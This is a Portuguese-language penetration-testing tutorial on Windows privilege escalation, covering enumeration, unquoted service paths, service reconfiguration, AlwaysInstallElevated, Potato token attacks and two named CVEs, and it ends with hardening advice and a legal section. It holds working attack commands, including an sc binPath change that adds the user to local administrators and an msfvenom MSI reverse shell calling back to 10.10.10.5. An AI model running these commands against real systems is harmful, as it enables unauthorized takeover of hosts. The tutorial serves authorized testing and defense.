Escalação de Privilégios Windows: Guia de Técnicas (2026)

O que é escalação de privilégios Windows?

O que é escalação de privilégios Windows? A escalação de privilégios Windows é a técnica de obter em um sistema Windows permissões superiores às que sua conta atual possui, normalmente passando de um usuário padrão ou conta de serviço para um Administrador local ou para SYSTEM. Ela explora configurações incorretas locais e falhas sem correção, e não a fraqueza remota que lhe deu o shell no início.

O acesso inicial quase nunca coloca você como SYSTEM. Uma aplicação web vulnerável roda sob a identidade de um pool de aplicativos do IIS, um banco de dados comprometido roda sob a conta de serviço do MSSQL, uma credencial de phishing conecta você como usuário de domínio comum. Nenhuma dessas contas consegue extrair os hashes locais, instalar um serviço persistente, ou se mover lateralmente com controle total. SYSTEM consegue. A escalação é a ponte, e o MITRE ATT&CK a rastreia como uma tática própria, TA0004, porque quase toda intrusão Windows séria depende dela.

A escalação Windows tem um sabor diferente da sua contraparte Linux. Em vez de um único bit de permissão como o SUID, você observa como o Windows registra serviços, resolve caminhos de arquivo e distribui tokens. A boa notícia é a mesma: a maior parte é configuração, não corrupção de memória. Você não precisa escrever shellcode para chegar ao SYSTEM na maioria dos hosts vulneráveis. Você precisa enumerar com cuidado e reconhecer uma lista curta de padrões.

Passo 1 - Enumere o host

A enumeração é onde todo shell SYSTEM começa. Antes de tentar qualquer coisa, você monta um retrato da máquina: quem você é, quais privilégios seu token carrega, quais serviços rodam, e o quanto o host está atrasado nos patches.

Comece com os dois comandos que não custam nada e muitas vezes apontam direto para a resposta:

whoami /priv        # os privilégios que seu token atual carrega
whoami /groups      # suas participações em grupos e nível de integridade

Aquela primeira linha importa mais do que os iniciantes esperam. Se whoami /priv mostrar SeImpersonatePrivilege ou SeAssignPrimaryTokenPrivilege como habilitado, você provavelmente tem um caminho quase instantâneo para SYSTEM por meio de um ataque de token, antes de olhar para qualquer outra coisa. As contas de serviço, incluindo as identidades do IIS e do MSSQL, carregam esse privilégio por padrão, e é exatamente por isso que os comprometimentos de web e de banco de dados terminam tão frequentemente em uma tomada total.

A partir daí, amplie a busca. Puxe o nível de patch e a arquitetura com systeminfo, liste os serviços e seus caminhos de executável com wmic service get name,pathname,startmode, verifique as duas chaves de registro AlwaysInstallElevated, e leia quaisquer arquivos de configuração ou scripts deixados em C:\, raízes web e perfis de usuário à procura de credenciais armazenadas. Na prática, uma string de conexão de banco de dados em um web.config ou em um arquivo de instalação sem supervisão Unattend.xml é um dos caminhos reais mais comuns, e nenhuma ferramenta automatizada o prioriza para você.

Fazer tudo isso à mão é lento, então a maioria dos testadores executa um script de enumeração automatizado para varrer o host em uma passada. O WinPEAS é a contraparte Windows da ferramenta Linux coberta em nosso guia do LinPEAS, e o PowerUp (parte do PowerSploit) foca especificamente nas verificações de escalação por serviço e registro. Ambos sinalizam candidatos em segundos. Nenhum deles explora nada. Eles dizem onde olhar; você ainda tem que abrir a porta.

Caminhos de serviço sem aspas

Quando um serviço Windows registra um caminho de executável que contém espaços e não está entre aspas, a forma como o Windows resolve esse caminho vira um bug de escalação. Considere um serviço configurado para rodar C:\Program Files\Vuln App\service.exe sem aspas. Antes de chegar ao binário pretendido, o Windows tenta cada fragmento delimitado por espaço na ordem:

C:\Program.exe
C:\Program Files\Vuln.exe
C:\Program Files\Vuln App\service.exe

Ele executa o primeiro que existir. Se você conseguir escrever em C:\ ou em C:\Program Files\Vuln App\, você deposita ali um Program.exe ou Vuln.exe malicioso, e ele é executado com os privilégios do serviço, frequentemente SYSTEM, na próxima vez que o serviço iniciar.

Encontre candidatos listando os caminhos de serviço e destacando os que têm espaços e nenhuma aspa ao redor:

wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

A verificação de permissão de escrita é o que separa um achado real de um falso positivo. Um serviço pode ter um caminho sem aspas e ainda ser seguro se cada diretório pai lhe negar acesso de escrita. Confirme com icacls em cada pasta do caminho antes de se empolgar, depois verifique se você pode reiniciar o serviço ou esperar por uma reinicialização. Sem escrever-e-reiniciar, um caminho sem aspas é uma observação apenas de relatório, não um shell.

Permissões de serviço fracas

Mesmo com um caminho corretamente entre aspas, um serviço é explorável se o seu usuário puder modificar como ele roda. Há dois sabores, e ambos terminam da mesma maneira.

O primeiro é o acesso de escrita ao próprio binário do serviço. Se o executável que um serviço SYSTEM lança fica em um diretório onde você pode escrever, você o substitui pela sua própria carga e reinicia o serviço. O segundo, e mais comum, é a permissão de reconfigurar o serviço. Enumere o que o seu usuário pode mudar com o accesschk da Sysinternals:

accesschk.exe /accepteula -uwcqv "%USERNAME%" *

Se a saída mostrar SERVICE_CHANGE_CONFIG ou SERVICE_ALL_ACCESS em um serviço, você pode apontar o caminho do binário dele para o que quiser. O movimento clássico é fazer o serviço adicionar você ao grupo de administradores locais no próximo início:

sc config VulnService binPath= "cmd /c net localgroup administrators %USERNAME% /add"
sc stop VulnService
sc start VulnService

O PowerUp automatiza a descoberta de ambos os casos com suas funções Get-ModifiableService e Invoke-ServiceAbuse, e é por isso que ele pertence à sua primeira passada de enumeração. O descompasso a caçar é qualquer serviço de nível SYSTEM que um usuário não-admin possa reescrever. Essa brecha é a vulnerabilidade inteira.

AlwaysInstallElevated

AlwaysInstallElevated é uma política do Windows Installer que, quando habilitada, permite que qualquer usuário instale pacotes MSI com privilégios SYSTEM. Ela existe para que funcionários não-admin possam instalar softwares aprovados, e é um dos caminhos de escalação mais limpos quando um administrador a deixou ligada. A armadilha para os defensores é que ela exige duas chaves de registro definidas, uma na ruína da máquina e uma na ruína do usuário, e os administradores às vezes ligam ambas sem perceber o que isso abre.

Verifique as duas chaves. Você precisa que cada uma retorne o valor 0x1:

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Se ambas estiverem definidas, você constrói um MSI malicioso, o entrega, e deixa o Windows instalá-lo como SYSTEM. Nosso guia rápido do msfvenom cobre a geração do pacote; a carga em si é um shell reverso Windows padrão empacotado no formato MSI:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.5 LPORT=443 -f msi -o setup.msi
msiexec /quiet /qn /i setup.msi

Capture a conexão no seu listener e você tem um shell SYSTEM. Na prática, essa é uma das primeiras verificações que vale a pena rodar, porque é uma única consulta de política com retorno total. Quando está habilitada, nada mais sobre a máquina importa.

Falsificação de tokens e ataques Potato

Esta é a técnica que escala de forma confiável os hosts Windows modernos e bem corrigidos, porque ela abusa de um recurso intencional em vez de um bug. O Windows usa tokens de acesso para representar um contexto de segurança, e SeImpersonatePrivilege permite que um processo aja em nome do token de outro usuário quando esse usuário se conecta a ele. As contas de serviço carregam esse privilégio por design para poder personificar os clientes que atendem, documentado na referência de constantes de privilégio da Microsoft.

A família de ferramentas conhecida como ataques Potato transforma esse privilégio em arma. Cada variante força um serviço de nível SYSTEM a se autenticar em um listener que o atacante controla, captura o token resultante, e o reutiliza para criar um processo como SYSTEM. O PrintSpoofer é o preferido nas versões atuais do Windows: ele dispara o serviço Spooler de Impressão por um pipe nomeado e entrega o token SYSTEM capturado direto ao comando de sua escolha.

PrintSpoofer.exe -i -c cmd
# no novo shell:
whoami
# nt authority\system

RoguePotato e GodPotato cobrem os casos em que o PrintSpoofer não se aplica. A regra de decisão é simples: se whoami /priv mostrar SeImpersonatePrivilege habilitado, um ataque Potato costuma ser a rota mais curta para SYSTEM, e funciona contra hosts onde cada caminho de serviço está entre aspas e cada patch está em dia. É isso que faz da falsificação de tokens o caminho de escalação que os testadores sérios buscam primeiro em uma máquina reforçada.

Ruínas do registro e CVEs reais

Quando os caminhos de configuração se esgotam, as vulnerabilidades sem correção viram o alvo. Duas falhas de escalação Windows valem ser conhecidas pelo nome porque circularam em produção por anos e foram exploradas com força quando se tornaram públicas.

HiveNightmare, também chamada de SeriousSAM (CVE-2021-36934), foi uma falha de controle de acesso em que os arquivos por trás do registro, incluindo o banco SAM que armazena os hashes de senha locais, ficaram legíveis para usuários não-admin no Windows 10 build 1809 e posteriores. Como o Windows mantém cópias de sombra de volume dessas ruínas, um usuário padrão podia ler uma cópia da SAM de um snapshot, extrair o hash do Administrador local, e escalar. Sempre verifique se as ruínas de configuração estão legíveis quando você cai em um host Windows 10 ou 11 sem correção.

PrintNightmare (CVE-2021-34527) mirou o serviço Spooler de Impressão, que roda como SYSTEM e vem habilitado por padrão na maioria das instalações. Uma falha na validação da instalação de drivers permitia que um usuário autenticado instalasse um driver de impressora malicioso e executasse código como SYSTEM. Foi grave o suficiente para a CISA emitir uma diretiva de emergência, uma medida reservada a vulnerabilidades sob exploração ativa e generalizada.

Compare o nível de patch obtido no systeminfo com as CVEs conhecidas antes de recorrer a um exploit público, e confirme que o alvo é um laboratório ou um engajamento onde a instabilidade é autorizada. Um exploit de nível de kernel que provoca uma tela azul em um host de produção é um problema muito maior do que uma flag perdida.

Guia rápido de escalação de privilégios Windows

Mantenha esta ordem de enumeração ao lado do seu terminal. Ela vai das verificações com maior chance de pagar rápido às que você busca quando os caminhos fáceis secaram.

Como se defender

Como prevenir a escalação de privilégios Windows? Remova as configurações incorretas específicas das quais os atacantes dependem. Nenhum controle único detém tudo, mas cada caminho acima se fecha com uma correção concreta e barata.

• Coloque aspas em cada caminho de serviço que contenha espaços, e negue acesso de escrita aos binários de serviço e aos seus diretórios pais. Isso mata de uma vez os caminhos sem aspas e a substituição de binário.
• Audite as permissões de serviço. Nenhuma conta não-admin deve possuir SERVICE_CHANGE_CONFIG em um serviço que roda como SYSTEM. Revise isso com o accesschk durante o endurecimento, não depois de um incidente.
• Nunca habilite o AlwaysInstallElevated. Ele concede a cada usuário uma primitiva de instalação SYSTEM. Se a implantação de software precisar de elevação, use uma ferramenta gerenciada que rode sob seu próprio contexto controlado.
• Restrinja os privilégios das contas de serviço. Onde um serviço não precisa de SeImpersonatePrivilege, remova-o, e prefira contas de serviço virtuais ou gerenciadas por grupo que limitem o alcance de um ataque de token.
• Aplique patches em uma cadência real. PrintNightmare e HiveNightmare foram ambas fechadas por uma atualização. A maioria das escalações bem-sucedidas atinge hosts atrasados em meses.

Ao testar hosts reais, a forma mais rápida de encontrar essas brechas antes de um atacante é executar a mesma enumeração que um atacante faria, WinPEAS mais uma revisão manual de serviços e tokens, de forma agendada em vez de uma única vez na implantação.

Considerações legais e éticas

Cada comando deste guia é o que um atacante real executa para transformar um ponto de apoio em comprometimento total. A única coisa que separa um testador de intrusão de um criminoso digitando a mesma sintaxe é a autorização, acordada por escrito antes do início do engajamento.

Pratique legalmente em três cenários: programas de bug bounty dentro do escopo publicado, engajamentos pagos sob uma declaração de trabalho assinada, e plataformas de laboratório isoladas feitas para serem quebradas. Tudo acima foi escrito para esses três e nada mais.